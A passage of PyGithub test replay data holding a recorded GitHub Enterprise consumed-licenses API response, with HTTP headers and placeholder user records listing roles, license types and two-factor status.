collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user009","github_com_name":"beaver-user009","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user009","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user010","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user010","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user011","github_com_name":"beaver-user011","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user011","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator","Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user012","github_com_name":"beaver-user012","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user012","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user013","github_com_name":"beaver-user013","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user013","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user013@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user014","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user014","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user015","github_com_name":"beaver-user015","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user015","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user016","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user016","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user016@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user017","github_com_name":"beaver-user017","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user017","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user018","github_com_name":"beaver-user018","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user018","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user019","github_com_name":"beaver-user019","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user019","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user020","github_com_name":"beaver-user020","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user020","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user020@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user021","github_com_name":"beaver-user021","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user021","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user022","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user022","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user022@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user023","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user023","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user024","github_com_name":"beaver-user024","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user024","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user025","github_com_name":"beaver-user025","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user025","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user026","github_com_name":"beaver-user026","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user026","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user027","github_com_name":"beaver-user027","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user027","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user027@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user028","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user028","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user029","github_com_name":"beaver-user029","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user029","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user029@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user030","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user030","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/EnterpriseAdmin.testGetEnterpriseUsers.txt0000644000175100001660000023322114756101563026514 0ustar00runnerdockerhttps GET api.github.com None /enterprises/beaver-group/consumed-licenses {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cec25a870aded5f7c26c9e549d31f9b91d887121b0f77b72446fe2f4a8eaf6d2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4829'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '171'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F8E3:4B9F:2EB3A7:310B95:64C1FE38')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user001","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user001","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user002","github_com_name":"beaver-user002","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user002","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user003","github_com_name":"beaver-user003","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user003","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user003@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user004","github_com_name":"beaver-user004","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user004","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user005","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user005","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user006","github_com_name":"beaver-user006","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user006","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user007","github_com_name":"beaver-user007","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user007","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user008","github_com_name":"beaver-user008","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user008","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user009","github_com_name":"beaver-user009","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user009","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user010","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user010","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user011","github_com_name":"beaver-user011","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user011","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator","Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user012","github_com_name":"beaver-user012","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user012","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user013","github_com_name":"beaver-user013","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user013","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user013@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user014","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user014","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user015","github_com_name":"beaver-user015","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user015","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user016","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user016","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user016@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user017","github_com_name":"beaver-user017","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user017","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user018","github_com_name":"beaver-user018","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user018","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user019","github_com_name":"beaver-user019","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user019","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user020","github_com_name":"beaver-user020","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user020","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user020@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user021","github_com_name":"beaver-user021","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user021","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user022","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user022","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user022@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user023","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user023","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user024","github_com_name":"beaver-user024","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user024","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user025","github_com_name":"beaver-user025","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user025","github_com_member_roles":[],"github_com_enterprise_roles":["Outside 